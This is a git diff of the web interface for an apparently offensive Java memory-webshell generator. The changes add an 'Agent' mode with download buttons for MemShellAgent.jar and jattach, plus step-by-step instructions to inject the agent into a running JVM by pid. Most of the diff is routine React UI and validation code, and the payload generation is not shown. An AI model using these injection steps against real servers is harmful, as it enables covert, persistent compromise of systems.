"^4.3.4", @@ -28,6 +28,7 @@ }, "dependencies": { "@hookform/resolvers": "^3.9.1", + "@radix-ui/react-alert-dialog": "^1.1.4", "@radix-ui/react-checkbox": "^1.1.3", "@radix-ui/react-dropdown-menu": "^2.1.4", "@radix-ui/react-label": "^2.1.1", @@ -39,14 +40,14 @@ "@radix-ui/react-tabs": "^1.1.2", "@radix-ui/react-tooltip": "^1.1.6", "@tanstack/react-query": "^5.62.11", - "@tanstack/react-router": "^1.92.11", - "@tanstack/router-devtools": "^1.92.11", - "react-copy-to-clipboard": "^5.1.0", + "@tanstack/react-router": "^1.93.0", + "@tanstack/router-devtools": "^1.93.0", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "lucide-react": "^0.469.0", "next-themes": "^0.4.4", "react": "^19.0.0", + "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.0.0", "react-hook-form": "^7.54.2", "react-syntax-highlighter": "^15.6.1", diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 5b9e5e8a..deea9443 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -1,4 +1,14 @@ import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx"; +import { + AlertDialog, + AlertDialogAction, + AlertDialogCancel, + AlertDialogContent, + AlertDialogDescription, + AlertDialogFooter, + AlertDialogHeader, + AlertDialogTitle, +} from "@/components/ui/alert-dialog"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; @@ -9,6 +19,7 @@ import { Switch } from "@/components/ui/switch.tsx"; import { FormSchema } from "@/types/schema.ts"; import { MainConfig } from "@/types/shell.ts"; import { ServerIcon } from "lucide-react"; + import { useState } from "react"; import { FormProvider, UseFormReturn } from "react-hook-form"; @@ -33,6 +44,8 @@ export function MainConfigCard({ const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>(); const [shellTools, setShellTools] = useState([]); const [shellTypes, setShellTypes] = useState([]); + const [openAgentConfirm, setOpenAgentConfirm] = useState(false); + const [currentShellType, setCurrentShellType] = useState(""); const handleServerChange = (value: string) => { if (mainConfig) { @@ -121,7 +134,17 @@ export function MainConfigCard({ render={({ field }) => ( JRE(可选) - { + if (Number.parseInt(v) >= 53) { + form.setValue("bypassJavaModule", true); + } else { + form.setValue("bypassJavaModule", false); + } + field.onChange(v); + }} + value={field.value} + > @@ -224,7 +247,39 @@ export function MainConfigCard({ render={({ field }) => ( 内存马挂载类型 - { + if ( + v.startsWith("Agent") && + Number.parseInt(form.getValues("targetJdkVersion") as string) === 50 + ) { + setOpenAgentConfirm(true); + setCurrentShellType(v); + } else { + field.onChange(v); + } + }} + value={field.value} + > diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index c158b2cb..5585281b 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -4,17 +4,64 @@ import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx"; import { Button } from "@/components/ui/button.tsx"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { Label } from "@/components/ui/label.tsx"; +import { Separator } from "@/components/ui/separator.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; -import { downloadJavaClass } from "@/lib/utils.ts"; +import { downloadBytes } from "@/lib/utils.ts"; import { GenerateResult } from "@/types/shell.ts"; import { TicketsIcon, TriangleAlertIcon } from "lucide-react"; +function AgentResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) { + return ( +
+
    +
  1. + 下载 MemShellAgent.jar + +
  2. +
  3. + 下载 Jattach 工具(后期考虑直接封装在 Jar 中) + +
  4. + +

    使用方法:

    +
  5. 将 MemShellAgent.jar 和 jattach 移动到容器中(如果测试环境使用容器部署)
  6. +
  7. 获取目标 jvm 的进程 pid (使用 jps 或 ps)
  8. +
  9. 执行命令进行注入:/path/to/jattach pid load instrument false /path/to/agent.jar
  10. +
  11. 尝试连接测试
  12. +
+
+ ); +} + export function ShellResult({ packResult, packMethod, generateResult, }: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { const showCode = packMethod === "JSP"; + const isAgent = packMethod.startsWith("Agent"); return ( @@ -31,7 +78,7 @@ export function ShellResult({ 注入器类 - {generateResult && ( + {generateResult && !isAgent && (
)} - + {!isAgent && ( + + )} + {isAgent && }
@@ -71,14 +121,17 @@ export function ShellResult({ )} - + {generateResult && ( + + )} )} - + {generateResult && ( + + )}

当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+

当使用 SpringWebFlux HandlerMethod 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+

当使用 SpringWebFlux HandlerFunction 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

diff --git a/web/src/components/ui/alert-dialog.tsx b/web/src/components/ui/alert-dialog.tsx new file mode 100644 index 00000000..6dfbfb49 --- /dev/null +++ b/web/src/components/ui/alert-dialog.tsx @@ -0,0 +1,104 @@ +import * as React from "react"; +import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog"; + +import { cn } from "@/lib/utils"; +import { buttonVariants } from "@/components/ui/button"; + +const AlertDialog = AlertDialogPrimitive.Root; + +const AlertDialogTrigger = AlertDialogPrimitive.Trigger; + +const AlertDialogPortal = AlertDialogPrimitive.Portal; + +const AlertDialogOverlay = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName; + +const AlertDialogContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + + +)); +AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName; + +const AlertDialogHeader = ({ className, ...props }: React.HTMLAttributes) => ( +
+); +AlertDialogHeader.displayName = "AlertDialogHeader"; + +const AlertDialogFooter = ({ className, ...props }: React.HTMLAttributes) => ( +
+); +AlertDialogFooter.displayName = "AlertDialogFooter"; + +const AlertDialogTitle = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName; + +const AlertDialogDescription = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName; + +const AlertDialogAction = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName; + +const AlertDialogCancel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName; + +export { + AlertDialog, + AlertDialogPortal, + AlertDialogOverlay, + AlertDialogTrigger, + AlertDialogContent, + AlertDialogHeader, + AlertDialogFooter, + AlertDialogTitle, + AlertDialogDescription, + AlertDialogAction, + AlertDialogCancel, +}; diff --git a/web/src/lib/utils.ts b/web/src/lib/utils.ts index 853fd206..6b43cf07 100644 --- a/web/src/lib/utils.ts +++ b/web/src/lib/utils.ts @@ -6,9 +6,9 @@ export function cn(...inputs: ClassValue[]) { return twMerge(clsx(inputs)); } -export function downloadJavaClass(base64String?: string, className?: string) { - if (!base64String || !className) { - toast.warning("内存马字节码为空,无法下载, 请先生成内存马"); +export function downloadBytes(base64String?: string, className?: string, jarName?: string) { + if (!base64String) { + toast.warning("字节码为空,无法下载, 请先生成内存马"); return; } const byteCharacters = atob(base64String); @@ -19,12 +19,12 @@ export function downloadJavaClass(base64String?: string, className?: string) { const byteArray = new Uint8Array(byteNumbers); // Create a Blob from the byte array - const blob = new Blob([byteArray], { type: "application/java-vm" }); + const blob = new Blob([byteArray], { type: className ? "application/java-vm" : "application/java-archive" }); // Create a download link const link = document.createElement("a"); link.href = window.URL.createObjectURL(blob); - link.download = `${className.substring(className.lastIndexOf("."))}.class`; + link.download = className ? `${className.substring(className.lastIndexOf("."))}.class` : `${jarName}.jar`; document.body.appendChild(link); link.click(); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 30e7c810..1647b2f3 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -57,15 +57,46 @@ function IndexComponent() { const [packMethod, setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); + function customValidation(values: FormSchema) { + if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) { + toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); + return false; + } + + if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) { + toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller"); + return false; + } + + if ( + (values.shellType === "HandlerMethod" || values.shellType === "HandlerFunction") && + (values.urlPattern === "/*" || !values.urlPattern) + ) { + toast.warning("HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler"); + return false; + } + + if (values.shellType.startsWith("Agent") && values.packingMethod !== "AgentJar") { + toast.warning("Agent 注入方式当前仅支持 AgentJar 打包方式"); + return false; + } + + if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") { + toast.warning("Agent 注入方式当前仅支持 Java8 以上"); + return false; + } + + if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") { + toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式"); + return false; + } + + return true; + } + async function onSubmit(values: FormSchema) { startTransition(async () => { - if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) { - toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); - return; - } - - if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) { - toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller"); + if (!customValidation(values)) { return; }